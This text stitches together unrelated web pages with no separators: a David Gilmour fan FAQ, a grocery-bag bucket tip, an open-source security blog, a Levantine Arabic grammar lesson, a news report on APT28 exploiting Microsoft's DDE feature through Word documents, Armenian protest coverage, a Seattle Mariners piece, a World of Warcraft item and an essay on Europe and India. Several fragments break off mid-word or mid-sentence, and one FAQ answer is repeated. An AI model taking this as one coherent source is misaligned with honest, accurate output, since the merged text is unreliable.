Steve also designed the very special packaging (which resembles a book, complete with hard covers, cloth spine, and foil-blocked spine lettering) and supervised its production in Italy.
What is the running time of 'On An Island'?
51 minutes and 44 seconds...the perfect length.
Are there any plans for new Pink Floyd live dates?
There are no plans for any live Pink Floyd dates.
Which musicians feature on 'On An Island'?
Pink Floyd keyboardist, Richard Wright, is on there, as is Guy Pratt (who has played bass with Pink Floyd on two world tours, as well as contributing much in the studio). The amazing Jools Holland lends a hand (or two) on piano. David Crosby and Graham Nash show up on the title track and Robert Wyatt makes a contribution as well. Orchestrations are provided by the renowned Polish composer, Zbigniew Preisner. The album is produced by David Gilmour, Chris Thomas and Phil Manzanera (who have worked with David and Pink Floyd extensively since Dark Side Of The Moon ), and was released in March 2006.
What charities does David support or endorse?
David supports numerous worthy causes and his charitable trust has donated a substantial amount to a variety of charities (see Charity ). He cares passionately about the homeless and gave the entire proceeds of the sale of his London town house to Crisis. He is now their vice-president, although he prefers to keep out of the public eye as much as possible.
He has performed at myriad benefit gigs for Teenage Cancer Trust, Nordoff-Robbins Music Therapy, Amnesty International, and PETA among others. Of course, the Pink Floyd reunion in July 2005 was driven by a desire to contribute to an important cause (Live 8) and the profits made from increased record sales were also donated to charity at David's behest. Unlike many celebrities, you don't hear much about David's philanthropic ways, but that's only because he doesn't advertise them.
How did Pink Floyd get their name?
Original front man and band founder, Syd Barrett, thought up the name when he discovered that there was another Tea Set due to play at the same venue as his Tea Set. So he merged the names of two blues musicians, Pink Anderson and Floyd Counc
May I have a signed photo?
David has signed occasional things for fans, plus the odd guitar for charity auctions, but he is uncomfortable with the concept of autograph collectors, as you can understand when you see the prices charged for stars' autographs, including David's, on eBay. He would really rather not be asked for an autograph, in an ideal world.
How do I join David's fan club?
There is no fan club. North American fans have been misinformed that they can buy pre-sale tickets if they join David's fan club. This is incorrect. There is no fan club and there are no plans to start one.
ASK PHIL
David's equipment technician and expert, Phil Taylor, has been kind enough to answer some of your questions, which are shown below.
I read that David acquired the very first Stratocaster.
Is that true and does he still have it?
Yes. David has the one which carries the 0001 plate. He used it at the Fender Strat Pack concert.
Which guitars did David use on his new album?
He used a Les Paul on several tracks on the On An Island album, as well as various Fender Strats, a Gretsch Duo Jet (left), several acoustic and lap steel guitars.
Every time I've seen David play recently, he's got his guitars running through
a little box that looks like an oscilloscope. What is it for?
It's a strobe tuner, which shows that a particular guitar string is in tune when the designated line on the strobe is static, rather than moving forward or backwards.
Is the 1959 Les Paul that David's been using on the new album the same
from 'The Wall' recording sessions and tour?
No. The Wall Les Paul on which he played, amongst other things, the solo in Another Brick In The Wall (Part Two) was an all gold – not a '59, which he still has and uses. He has been using a '56 Les Paul Gold Top with a Bigsby tremolo on it for this project as well – very similar, but with the addition of a tremolo arm.
Which musicians feature on 'On An Island'?
Pink Floyd keyboardist, Richard Wright, is on there, as is Guy Pratt (who has played bass with Pink Floyd on two world tours, as well as contributing much in the studio). The amazing Jools Holland lends a hand (or two) on piano. David Crosby and Graham Nash show up on the title track and Robert Wyatt makes a contribution as well. Orchestrations are provided by the renowned Polish composer, Zbigniew Preisner. The album is produced by David Gilmour, Chris Thomas and Phil Manzanera (who have worked with David and Pink Floyd extensively since Dark Side Of The Moon ), and was released in March 2006.
I first saw Floyd in Chicago in 1977 and have wondered off and on over the
years why David chose not to use the vocoder – or whatever it's called –
when playing 'Pigs' live to emulate the guitar/pig sounds present on the song
from the album? (I recognize he used the device to great effect for
'Keep Talking' on the Division Bell tour.)
Pigs was only played live on the '77 tour. I cannot now remember why it was not used live – I remember David recording the part in the studio. But you are correct; it is the same effect as used on Keep Talking. The effect is not a vocoder but a Voice Box – where the guitar signal is routed from the amp output into a small compression driver (speaker) and then out through a plastic tube which is attached to the mic stand and is placed alongside the vocal mic. The tube is placed in the mouth and manipulated to produce changes in the sound – which are then picked up by the vocal mic.
LATEST FAQs Any chance of David appearing at a European festival this summer?
(Fredrik Lund)
No.
What languages does David know how to speak? (Joseph Christ)
He's fluent in English(!) and conversant in French, German, and Italian.
It appeared that David had a fondness for a particular 'Guinness Extra Stout'
T-shirt in many of the photos that I have seen of him from the early '70s.
Does he still enjoy a pint from time to time? (Dan Mumma)
Yes, indeed.
I have read that David is a wonderful cook. Do you still enjoy culinary arts at
home? Or was it just a rumour? (Alpha Martha Arroyo)
It's completely true. David is quite handy in the kitchen. Even his mother-in-law has complimented him on his Chinese dumplings.
Is it true that in 1974 David's favourite movie was 'Beyond the Valley of The
Dolls'? (Robyn)
He did say, perhaps tongue in cheek, that it was his favourite film once upon a time. More recently, David has cited 'It's A Wonderful Life' and Roberto Benigni's 'Life is Beautiful' as particular favourites.
What's the oddest way that David has been compensated for playing on a fellow
musician's track? (Chris Kluttz)
David usually requests that cheques be made out to several select charities (see Charity ) of his choice.
Which award did David get from the Queen at Buckingham Palace in 2003?
Does David have to be referred to as 'Sir Gilmour' now? (Andy)
David was made Commander in The Most Excellent Order of the British Empire, or CBE for short, in November 2003 for services to music. The Order is limited to 100 Knights and Dames Grand Cross, 845 Knights and Dames Commander, and 8960 Commanders. 'Sir' is reserved for Knights only so, no, he should not be addressed as 'Sir David'.
I recall reading that David was a model many years ago. Is this true and what
type of modelling did he do? (Paul "Buz" Hilliard)
It's true, but it's also a story that has been blown out of proportion. David did just a few modelling sessions.
I would like to know that when he is playing, does he 'pick' somebody in the
audience to play to, or does he concentrate so hard on playing that he is
unaware of the audience? Oh, and does he still get stage fright? (Col T)
David does still get stage fright. He finds that the smaller the venue and the closer the audience, the more frightened he gets. If he picks anyone out, then it would be Polly. She's very supportive and goes to all the shows.
I hear David is learning the sax. Does he play some on the new album?
(Chris Kelly)
David was learning to play the saxophone with one of his sons a few years ago, and he has indeed shown off his skills on a track on his On An Island album.
Which football team, if any, does David support? I have an inkling that he has
watched the mighty Bristol City in the past! (Chris Royle)
I'm sure he has had that pleasure, Chris, but I'm sorry to tell you that he's a Gooner. That's an Arsenal (Gunners) fan to those who don't know.
When you are preparing the live show for touring, is the show different in Europe
than in the US? Are different setlists prepared for different countries? (Craig)
No, the setlists remain largely the same regardless of where in the world David performs. Of course, changes are made during the course of a tour if David fancies a change.
How many guitars does David have in his collection? (Christophe Couallier)
Over 100.
He said in 2002 that he was thinking of selling some of them, but to date has made no further plans.
Does Mr Gilmour mind if I call him Dave? (Jon Harmon)
Yes, he does!
How tall are you? (Dan Verbin)
Tall enough to go on all the best rides at the fair, Dan.
Does David still find Syd Barrett to be an inspiration when writing new music,
either lyrically or musically? (Kirby Atwater)
David is a great admirer of the late Syd Barrett, as both a person of great inner beauty whom he feels privileged to have personally known, and as an extremely talented songwriter who could have been one of the world's greatest musical talents had circumstances been different. David always comments on the way the lyrics just seemed to pour from Syd, and he certainly inspired David. They were friends before Pink Floyd, and David later produced two of Syd's solo albums and has performed several Barrett songs live as a tribute.
Apart from Syd Barrett, who would you say has been the biggest single
influence and inspiration in your music? (Jon Wainwright)
David has been inspired by many musicians, including Hank Marvin, Leadbelly, Howlin' Wolf, B.B. King, Bob Dylan, Jimi Hendrix, the Beach Boys, and the Beatles.
Were you and Syd Barrett actually arrested for busking? (Dion Johnson)
Not arrested as such, but held for questioning (in San Tropez).
Is David sending Roger Waters a Christmas card this year? (Chris Kelly)
Of course!
Please put this to rest once and for all: Why does Nick hate pie crust?
(Dan Verbin)
Nick kicked up a fuss during the recording of Dark Side Of The Moon at Abbey Road – as was caught on camera and featured in the Live at Pompeii film – where he declared that he'd rather no apple pie than a round one. Although Nick has mellowed as the years have passed, he still feels that pie crusts are bland, boring and tasteless. Which they are.
I researched the seating capacities of the venues you played on your European
Tour and am intrigued as to why you chose more intimate venues with seating
from 2,000 to 4,000? Is it more enjoyable and challenging to perform in a
smaller venue? (David Wexler)
After a career performing before thousands of fans in huge theatres, David felt that it was a welcome change to play in more intimate settings in 2001 and 2002. Of course, the songs performed in London and Paris were better-suited to such venues, as they were quieter and softer in tone than the Pink Floyd songs which are very much at home in vast arenas. As those shows were semi-acoustic in nature, with gospel choir and orchestra, finding the most suitable venues was of great importance to David, as it was again for the 2006 dates. David has commented that it's much more nerve-wracking performing in smaller theatres, yet finds performing in large and small venues equally enjoyable.
What instruments is David able to play? There are quite a lot photos all over the
Internet that show him on all kinds of different instruments – maybe the list of
instruments he can't play on is shorter! (Sascha)
Well, besides guitars of all sorts, he plays the piano and keyboards. He plays bass (including fretless). He actually played bass guitar on many of the Pink Floyd tracks that one would assume Roger is playing on, and has indirectly won many a magazine bass-playing poll! He plays harmonica and drums, is learning saxophone, and he also plays a mean kazoo. Think Corporal Clegg and his wooden leg. On his new album, David plays a cumbus – a Turkish stringed instrument, rather like a banjo.
Does David plan on writing his memoirs anytime soon? Or are they already
out and I'm just a blind idiot? (Keith Hebert)
You're not a blind idiot, Keith. For the time being, David is very happy leaving the writing to his novelist wife, Polly.
I'd really like to know David's top five songs of all time? What does David listen
to on a Sunday afternoon when we are all listening to Floyd? (Neil Williams)
When asked to pick eight songs for BBC Radio, he chose the following: 'Waterloo Sunset' (Kinks); 'Ballad in Plain D' (Bob Dylan); 'I'm Still Here' (Tom Waits); 'Dancing in the Street' (Martha Reeves and the Vandellas); 'Anthem' (Leonard Cohen); 'A Man Needs a Maid' (Neil Young); 'For Free' (Joni Mitchell); and 'Rudi with a Flashlight' (Lemonheads).
I have one question about the video clip of High Hopes. The big statue represents
Syd Barrett or Roger Waters? It looks like Roger but I think it's Syd.
(David Avalishvili)
It's Syd, the "golden boy". Do you really think it looks like Roger? As Storm Thorgerson, who made the video, has said, High Hopes is an amalgamation of images, so not really a story as such. David, Storm, and Syd grew up together in Cambridge, where the video was filmed. The images are David's memories of his childhood.
Aside from the 'On An Island' tour, when was the last time your band played
in Toronto Canada? (Julia Warren)
Pink Floyd have played in Toronto several times. They played at Maple Leaf Gardens on 11th March 1973. The Momentary Lapse of Reason tour saw them visit the Canadian National Exhibition Stadium four times (on 21st, 22nd and 23rd September 1987, as well as 13th May 1988). And they must have liked playing there because they returned in 1994 for a three-night run in July (5th, 6th and 7th). As for solo concerts, then he did two at Massey Hall on 14th and 15th May 1984.
Does David still have the Habs (Montreal Canadiens) jersey he wore on his
tours with Pink Floyd? (Richard Sieben)
Sorry, Richard, but he doubts it.
Most fans know Mr Mason collects cars. What does Mr Gilmour collect?
(David Wexler)
At the moment, questions from fans! But he used to collect cars and planes, before deciding that he didn't need them, and got rid of them.
Is there a moment he couldn't stop laughing? When was the last time? (Rosa)
Reading some of these questions, Rosa! You should see the ones we don't publish.
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Privacy | T&Cs | David Gilmour Privacy Policy | Copyright David Gilmour Music Ltd. All rights reserved.Tell me if this makes sense. Most people buy a lot of one sort of bag (garbage bags) while simultaneously throwing out lots of another kind of bag (grocery bags.)
Despite our best efforts to take reusable cloth bags and backpacks with us to the grocery store, we still somehow manage to end up with way too many plastic grocery bags than we can possibly use.
If this sounds like a problem you might be familiar with, then this is the solution.
Now I’m certainly not the first person to revolt against this perverted scheme concocted by Big Grocery Bag.
This is the wire bag holder from Amazon that we used in our last place. It hangs any grocery bag, and works well most of the time. Except that anything sort of mushy or drippy tends to leak, and heavy stuff will make the bag fall out. It’s a smart solution but just not quite smart enough.
Of course at first we tried a standard 5 gallon bucket – but grocery bags are much smaller than 5 gallons, so they just wilt into a sad plastic pile at the bottom.
I solved this problem by testing one of every shape and size of bucket we could get our hands on. The bucket that worked best is this 3.25 gallon square bucket.
I think square works better because grocery bags aren’t round on the bottom, and its handles are on opposite sides not all the way around.
The bag stays in very well, but I’m still considering just getting a big rubber band for the rim around the outside of the bucket to hold the bag in really tight. You’d only need one to last through hundreds of plastic bags!
We found ours from a Safeway deli, originally holding frosting. Check out our free bucket locator list for other places to check. And if you’ve found another size and shape of can that works well with grocery bags let us know in the comments.
Posted onFree software! This is the common reaction when business owners learn of open-source software for the first time. There are open-source solutions out there for just about every function of business. There are even open-source cyber security solutions, the U.S Department of Homeland Security compiled a list of them. Open-source software does come with some severe limitations including no customer service, self-installation, no technical support, or even updates sometimes. Open-source is not a welcoming place for the non-technical user. For business owners who do use open-source solutions it is often with the bare minimum understanding of programming required to get it on their system. Other times it is a freelancer who handles it.
Another layer of complexity for cyber security is that open-source is built into almost every software we interact with on some level. When a cyber criminal finds an exploit in open-source code they will also simultaneously know exploits in any and all software using that open-source solution. Common software from Google’s products to Microsoft Office all have some open-source code in them. However, this vulnerability may be open-source’s greatest strength in disguise.
Open-source projects often attract developers who are also active and loyal users of the open-source product. In the open-source world projects are often developed out of a critical need, not through investment. The community often hacks their own software to test its security and have much quicker response times when it comes to addressing vulnerabilities. Meaning, open-source can at times be very quick in response to a threat or even general code failures. However, this is dependent on how active both the community is and you are with checking in with them.
If you’re going to use open-source software, which is encouraged in some cases, there are some considerations you should know about. First, lets explore what open-source is so there is no confusion about what you’re taking on.
Open-source Software: The Definitions
To start open-source is something that anyone can modify, distribute, and even capitalize on because of they are public driven projects. Open-source software by extension is publicly available source code that anyone anywhere can inspect, modify, and distribute freely. This is in contrast to proprietary software, where the source code is exclusively controlled by the organization who developed it. Sounds too good to be true? Well, it’s a reality, and it’s here to stay. As stated above some very successful businesses have been built on open-source code and projects. Additionally, a whole community with their own set of principles have developed around open-source. They value open exchange, collaboration, rapid prototyping, transparency, and community.
Why Users go Open-Source
Users of open-source software often gravitate towards it because of greater control and responsive security. For those who are used to proprietary software this may seem counter-intuitive. Using open-source software requires some acceptance of risk and a shortage in the standard support that come with proprietary software.
Control
Open-source users feel greater control because they have direct access to the code and can use the software in whatever way they wish. At times the user control of source code produces innovations and integrations that may take an extended amount of time for proprietary companies to think about. An example of this can be found between Google’s business offerings and the open-source project Nextcloud. Where users themselves developed an environment that consolidated all the features of Google into one workspace. The aspect of control is one of the biggest drivers not just for users but for governments and even businesses. This way unique security solutions are able
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�rab kāsit ħalīb
“I want to drink a glass of milk.”
In the first sentence, the verb “to drink” is the main verb of the sentence, so it’s independent / indicative and takes a b. But in the second sentence it’s subordinate to “I want” and so it’s dependent / subjunctive and doesn’t take a b.
There are some situations where a main verb won’t take a b. For example:
اعطيك الورقة هلق ولا بعدين؟ ʔaʕṭīk il-waraʔa hallaʔ walā baʕdēn?
“Should I give you the paper now or later?”
In this sentence, the verb “I give” is not really a declaration of fact, but more like an idea or a suggestion. So even though it’s a main verb, it’s considered subjunctive and it doesn’t have a b at the start.
Let’s look at some present tense verb conjugations.
Regular Form I verbs:
انا بشرب \ اشرب ana biʃrab / iʃrab نحنا منشرب \ نشرب niħnā mniʃrab / niʃrab انت بتشرب \ تشرب inte btiʃrab / tiʃrab انتو بتشربو \ تشربو intu btiʃrabū / tiʃrabū انتي بتشربي \ تشربي inti btiʃrabī / tiʃrabī هو بيشرب \ يشرب huwwe byiʃrab / yiʃrab هن بيشربو \ يشربو hinne byiʃrabū / yiʃrabū هي بتشرب \ تشربي hiyye btiʃrab / tiʃrab
Notice that the b changes to m in the 1st person plural “we,” e.g. منشرب mniʃrab This is because the neighboring n nasalizes the sound. This feature only exists in Syrian, Lebanese, and some northern Palestinian dialects. Other dialects don’t do this, hence Palestinian بنشرب bniʃrab.
AdvertisementsHackers have been found exploiting a freshly-uncovered vulnerability in Microsoft’s software to install malware on business computers.
According to security researchers, since last month a Russia-linked hacking group known as APT28 have been using a Microsoft protocol called Dynamic Data Exchange (DDE) to run malicious code through a poisoned Word document.
Targeted attacks linked to APT28 (also sometimes known as the “Fancy Bear” hacking gang) have taken advantage of the recent New York City terror incident in an attempt to plant spyware via the method.
DDE, as its name suggests, allows messages and data to be shared between applications. Last month, it was discovered that it was possible to launch attacks exploiting DDE through Word documents, Excel spreadsheets, and Outlook even when macros have not been enabled.
Now, of course, attacks exploiting Microsoft Office documents are nothing new – and most of us who work in the security industry know to be wary of enabling macros when opening files because of the potential for malicious code to be executed.
But with this DDE attack, you see no prompt to enable macros. This lack of a warning allows attackers to side-step an obstacle which has often acted as a final safety net for their intended victims.
Instead, the most you might notice that’s unusual is a pop-up message box asking if you want to update the document with data from linked files.
“This document contains links that may refer to other files. Do you want to update the document with the data from the linked files?”
Microsoft, in a security advisory released yesterday, has described how the technique could be used in a typical email attack:
In an email attack scenario, an attacker could leverage the DDE protocol by sending a specially crafted file to the user and then convincing the user to open the file, typically by way of an enticement in an email. The attacker would have to convince the user to disable Protected Mode and click through one or more additional prompts. As email attachments are a primary method an attacker could use to spread malware, Microsoft strongly recommends that customers exercise caution when opening suspicious file attachments.
So, after decades of email-based malware attacks, we’re back to some tried-and-trusted advice: be very wary of opening unsolicited email attachments.
And as Microsoft considers the functionality of DDE to be a feature rather than a bug, it seems unlikely that it will be patching the technique anytime soon.
According to Microsoft’s advisory, concerned Microsoft Office users are advised to check their DDE-related security settings and disable the automatic update of data from linked fields to mitigate the threat. Currently, this mitigation may require some tinkering in the Registry and so should be done cautiously.
Editor’s Note: The opinions expressed in this guest author article are solely those of the contributor, and do not necessarily reflect those of Tripwire, Inc-The Armenian police renewed on Sunday their threats to forcibly break up continuing nonstop demonstrations in Yerevan against a controversial increase in electricity prices.
Colonel Valeri Osipian, a deputy chief of the Yerevan police, said security forces will “try to restore public order” if Marshal Bagramian Avenue, a key thoroughfare leading to the presidential palace, remains blocked by protesters after 11:00 pm local time
“Within the framework of the law, the police will take measures to restore public order on Bagramian Avenue and punish delinquent persons,” Osipian told reporters at the scene of the protests.
The stern warning came the day after President Serzh Sarkisian offered concessions to the protesters. He said the Armenian government will subsidize the electricity tariffs to make sure that Armenian households are unaffected, at least for now, by a more than 17 percent price hike, which was supposed to take effect on August 1.
Sarkisian said the government will “bear the burden” of the hike until the completion of an international audit of Armenia’s Russian-owned power distribution network. In his words, the audit will determine whether higher tariffs are indeed indispensable to sort out the network’s financial troubles.
The concessions seemingly failed to satisfy most protesters and No To Plunder, a youth movement leading the campaign for a reversal of the unpopular measure. No To Plunder leaders urged supporters to gather on Marshal Bagramian Avenue at 6 pm on Sunday in large numbers and discuss and determine the group’s official response to the president’s decision.
Using a water cannon, the police already dispersed early on Tuesday hundreds of mostly young activists camped out on the Yerevan street. More than 230 people, including several journalists, were detained. They all were set free by the time thousands of Armenians again occupied the street section on Tuesday evening.
The United States, the European Union and Western human rights watchdogs criticized that violent crackdown, saying that the police used excessive force against the protesters. They also denounced police violence against reporters covering the crackdown.Nov 1, 2015; New York City, NY, USA; Kansas City Royals center fielder Jarrod Dyson hoists the Commissioners Trophy after defeating the New York Mets in game five of the World Series at Citi Field. The Royals win the World Series four games to one. Mandatory Credit: Jeff Curry-USA TODAY Sports
The Mariners GM, Jerry Dipoto, made a ton of changes this off-season to add speed, defensive ability, and pitching, but he also acquired four new players that have already won a World Series title. Could these four new Mariners with old rings help the team win its first title? Or at least help the Mariners to their first playoff birth since 2001?
When the Mariners GM brought Jarrod Dyson, Carlos Ruiz, Marc Rzepczynski, and Chris Heston to Seattle, he wasn’t just bringing talent to the Emerald City, he was also loading the M’s roster with past World Series champions.
On the 2016 M’s 40-man roster, the team had two former World Series champions: Robinson Cano and Nori Aoki. It just so happens that they traded away just as many players that would go on to win last year’s title with the Chicago Cubs: Mike Montgomery and Joel Peralta.
As one theory goes: having more players on the roster that have already won it all will help the team have better post season mojo.
Now, of all of the four new additions that have won a World Series, only Carlos Ruiz has played in more than one championship duel. He would play an important role as catcher in the 2008 and 2009 World Series.
Ruiz won in his first World Series appearance racking up six hits in 19 at-bats, driving in three runs and drawing four walks. His play behind the plate and at it helped the Philadelphia Phillies run over the Tampa Rays in five games.
None of those six hits were bigger than his game three walk-off dribbler that brought home the winning run from third base.
The next year, the Phillies returned to the championships matchup, but this time ended up on the wrong side of things, despite Ruiz’s play. The catcher went 6-18 with one home run, two doubles, two runs driven in, and drew five more walks. The Phillies would lose out in six games to the New York Yankees who won their 27th title that season.
Two years later, reliever, Marc Rzepczynski, would find himself in the biggest series of the year with the St. Louis Cardinals. His four outings were pretty flawless as he went a total of 2.2 frames, striking out four men, and surrendering no free passes.
His clutch outing in the 8th inning of game six kept the Cardinals in the game. The birds would storm back in the late innings to steal a win eventually coming out victorious 10-9 in 12 frames.
Three years later, two of the newest Mariners would be on opposite sides in the World Series.
Chris Heston, would not participate in the series, or any post season game that year, but he had played his first three games at the tail end of the 2014 season in a San Fransico Giants uniform, but, he still got a ring after the Giants bested the Kansas City Royals in seven games.
Jarrod Dyson, on the other hand, would play a slightly more prominent role in the epic series, but only took to the batter’s box 10 times over four games, twice coming in at the 6th frame as a defensive replacement for Nori Aoki.
Dyson mustered just two hits and drew one walk, but as seen in the video clip, he made a spectacular diving catch to keep the Giants from bringing in the leading run at the time in game four.
The Giants would go on to dismantle the Royals 11-4 that night, but for that brief moment, Dyson played the role of hero.
Whether their impact was big or small in their respective World Series’, being part of the momentous, pressure-packed final series shakes one’s nervous differently than any other games all year long.
These four men’s presence on those squads, feeling that feeling, making plays in those scenarios prepares you for mentally for many of the tough mental challenges that come along in big game situations.
The hope is that Dyson, Rzepczynski, Heston, and Ruiz can all prepare the Mariners that haven’t made in that deep in the post season for the tests they will surely face with this playoff and World Series-caliber 2017 team.Blizzard Admits a Mistake in the Design of WoW: Cataclysm, Promises Change for Pandaria
Giuseppe Nelva January 15, 2012 10:45:58 AM EST
According to many one of the worst flaws of the Cataclysm expansion of World of Warcraft is its linearity, that prompts players to move from hub to hub without really providing any kind of incentive for wandering and exploring the world.
Blizzard seems to have taken notice, admitting the mistake in the design of the latest expansion and promising a different approach with the upcoming expansion Kung fu pan… ahem… Mists of Pandaria, as community manager Nik Gianozakos briefly explained on the official forums:
That was an error we made with the design of Cataclysm, but getting players invested in the world again is something we’re interested in addressing with Mists.T
oday, India has become a global player of significant political and economical impact. Europe and India are facing each other as equal partners in pursuit of greater economic and political co-operation. This confronts both India and Europe with a challenge. The intelligentsia, the business world, politicians, educators and others, will have to answer the following question: What can India offer to the world of today and tomorrow?
I will not tackle this problem directly but instead take up one of its sub-questions: to whom is this problem important and why? I believe it is important to both Indians and Europeans but for different reasons. In this article, I will spell out and reflect upon some of these reasons.
For the first time in the last four to five hundred years, non-white and non-Christian cultures will have a significant impact on the affairs of the humankind. Here, India will play an important role. As a result, the need to explicate what it means to be an Indian (and what the ‘Indianness’ of the Indian culture consists of) will soon become the task of the entire intelligentsia in India. In this process, they will confront the challenge of responding to what Europe has so far thought and written about India. A response is required because the theoretical and textual study of the Indian culture has been undertaken mostly by Europe in the last three hundred years. What is more, it will also be a challenge because the study of India has largely occurred within the cultural framework of Europe.
In fulfilling this task, the Indian intelligentsia of tomorrow will have to solve a puzzle: what were the earlier generations of Indian thinkers busy with, in the course of the last two to three thousand years? Let me use a contrast with the European culture to exhibit the nature of this puzzle and its importance to the theme of this article.
W
hat were the European intellectuals busy with, during the last two thousand years? It is almost impossible to answer this question without describing the history of Europe. Still, we can say they produced theologies, philosophies, fine arts, natural and social sciences … The list is so varied, so diverse and so huge that one does not know where to begin or how to end. Despite this, the fact remains: all interesting theories about human beings, their cultures and societies, which we use today, are products of the European intellectuals. So too are the institutions and practices that most of us find desirable: democratic institutions and courts of law, for instance. The sheer size, variety and the quality of the European contributions to humanity is overwhelming.
What were the Indian thinkers doing during the same period? The standard textbook story, which has schooled multiple generations including mine, goes as follows: caste system dominates India, women are discriminated against, the practice of widow-burning exists, corruption is rampant, most people believe in astrology, karma and reincarnation … If these properties characterize India of today and yesterday, the puzzle about what the earlier generations of Indian thinkers were doing turns into a very painful realization: when the intellectuals of one culture, the European culture, were busy challenging and changing the world, most thinkers from another culture, the Indian in our case, were apparently busy sustaining and defending undesirable and immoral practices. Of course there is our Buddha and our Gandhi but that is apparently all we have: exactly one Buddha and exactly one Gandhi. If this portrayal is true, the Indians have but one task - to modernize India - and the Indian culture but one goal - to become like the West as quickly as possible.
However, what if this portrayal is false? What if these basically European descriptions of India are wrong? In that case, the questions about what India has to offer the world and what the Indian thinkers were doing become important to the Europeans. For the first time, their knowledge of India will be subject to a kind of test that has never occurred before. Why ‘for the first time’? The answer is obvious: the knowledge of India was generated primarily when India was colonized. Subsequent to the Indian independence, India suffered from poverty and backwardness. In tomorrow’s world, the Indian intellectuals will be able to speak back with a newly found confidence and they will challenge the European descriptions of India. That is, for the first time, they will test the European knowledge of India and not just accept it as God’s own truth. Moreover, the results of this test are not of mere scientific interest; they will also have serious social, political and economic repercussions on the European societies. If true, the question becomes: what kind of ‘knowledge’ about India will be tested?
A
s an example, consider one of the things that Europe ‘knows’ about India: the Indian caste system. Almost everyone I know has very firm moral opinions on the subject. Many see in it the origin of all kinds of evils in India: from the denial of human rights to oppression; some see in it obstacles to progress and modernization and so on. I suppose we agree that we need to understand a phenomenon before making moral judgments. With this in mind, if you try and find out what this famous caste system is, and why people either attack or defend it, you discover the following: no ancient book exists that tells us what the principles of the caste system are; no Indian can tell you about its structure or its organization; no scientific theory has been developed that explains how or why it continues to exist. Simply put, nobody understands what it is or how it functions. In that case, how can anyone be pro or contra the caste system? If we focus on how people normally describe this system and understand how easy it is to turn such a description upside down, the absurdity of the situation becomes obvious. While emphasizing that I do not attack and much less defend the caste system in what follows, let us look at the existing descriptions and their consequences.
(a) Caste is an antiquated social system that arose in the dim past of India. If this is true, it has survived many challenges - the onslaught of Buddhism and the Bhakti movements, the Islamic and British colonization, Indian independence, world capitalism - and might even survive ‘globalization’. It follows, then, that the caste system is a very stable social organization.
(b) There exists no centralized authority to enforce the caste system across the length and breadth of India. In that case, it is an autonomous and decentralized organization.
(c) All kinds of social and political regulations, whether by the British or by the Indians, have not been able to eradicate this system. If true, it means that the caste system is a self-reproducing social structure.
(d) Caste system exists among the Hindus, the Sikhs, the Jains, the Christians, the Muslims… It has also existed under different environments. This means that this system adapts itself to the environments it finds itself in.
(e) Because new castes have come and gone over the centuries, this system must also be dynamic.
(f) Since caste system is present in different political organizations and survives under different political regimes, it is also neutral with respect to political ideologies.
Even though more can be said, this is enough for us. A simple redescription of what we think we know about the caste system tells us that it is an autonomous, decentralized, stable, adaptive, dynamic, self-reproducing social organization. It is also neutral with respect to political, religious and economic doctrines and environments. If indeed such a system ever existed, would it also not have been the most ideal form of social organization one could ever think of?
How can we try to understand this odd state of affairs? The question of the immorality of the caste system became immensely important after the British came to India. Consequently, there are two interesting possibilities to choose from: one, Indians did not criticize the caste system (before the British came to India) because Indians are immoral; two, the Europeans ‘discovered’ something that simply does not exist in India, viz. the social organization that the caste system is supposed to be.
The reason why I have spent time on this issue is to signal in the direction of a problem, which has very far-reaching consequences. If what Europe knows about India resembles what it claims to know about the caste system, what exactly does Europe know about India or her culture? Not very much, I am afraid. Precisely at a time when, to survive in a ‘globalizing’ world, knowledge of other cultures and peoples is a necessity, it appears as though Europe knows very little about either of the two.
Perhaps, the absence of knowledge is felt most acutely by the Europeans who invest in India. They rediscover that they are not well-equipped to do business in India. They understand neither the culture, nor the role of cultural differences in management structures and organizations. The books and articles on "culture and management" are full only of platitudes; on top of that, the newest trend in anthropology tells us that the notions of "culture" and "cultural differences" are almost of no use in understanding people.
In other words, I am suggesting the following: Europe’s ‘knowledge’ about India will be tested during this century. What the Europeans think they know of India tells us more about Europe than it does about India. In that case, quite obviously, the earlier generations of Indian thinkers were not merely busy instituting and defending immoral practices. What else were they doing then? Now, the puzzle becomes very intriguing: what were the Indian thinkers doing in the course of the last two to three thousand years? What did they think and write about? Did they make contributions to human knowledge? If yes, what are they? Answering these and allied questions will become one of the primary preoccupations of the Indian intelligentsia in the course of the twenty-first century. This puzzle is important to the Europeans too. Let me say why by setting the context first.
L et me sketch the context by raising a question: what has the world to learn from Europe? Here are the familiar answers: science and technology; democracy and the legal system; respect for human rights and ecological awareness; becoming modern and cosmopolitan… When such answers are given, one does not mean that the rest of the world has to learn this or that scientific theory, or a solution to this or that mathematical problem from Europe. One means something like this: the rest of the world has to learn a particular way of going-about with the world from the European culture. That is, one believes that this way of going-about is the unique contribution of the European culture, something that is absent in other cultures. Let us now reverse the question: what has Europe to learn from India? In all the thirty years I have spent in Europe and in all the thousands of books I have probably read, I have not come across a satisfactory answer. Most do not even raise the issue; those who do, mumble about ‘learning’ things that Europe once knew but has forgotten since. How to understand this situation?
The first possibility is that there is nothing to learn from India. This is possible, but implausible. It is possible that, much like the ‘chosen people’ that the Jews believe they are, Europe is the ‘chosen’ culture from all the cultures that populate the planet. However, it is implausible because I have not come across any explanation for this ‘European miracle’. Nevertheless, if there is nothing to learn from India, we can all sleep peacefully: the world, as we know it, will not be disturbed. This is the first possibility.
Consider the second possibility now. Europe has ‘something’ to learn from India but many Europeans do not yet know what. Some give the following answers: meditation, yoga, notions of Karma, Vedic astrology… These will not do: not only are there native meditative and astrological traditions in Europe, but such answers are also inadequate. It is like saying that one has to learn partial differential equations from Europe. So, let me push the question further: what is this ‘something’ Europe has to learn from India?
At this stage, I normally encounter silence because there does not appear to be any answer to give. Surely, this is strange: Europe has been studying India for centuries; it has colonized her territories and people; it tells Indians what is wrong with their society and culture… And yet, no answer is forthcoming. The Indians know what they have to learn from Europe and they have been learning it for centuries on end. Europe, by contrast, apparently has no proper answer to the question. By virtue of this, the second possibility, i.e. that Europe has something to learn from India but does not know what, is very disturbing. One culture, the Indian, has been learning for generations and centuries; the other culture, the European, does not know what to learn or even whether there is anything to learn. And these two cultures, for the first time in so many hundred years, will meet each other on the world arena as equals and as competitors. What will the outcome be?
W
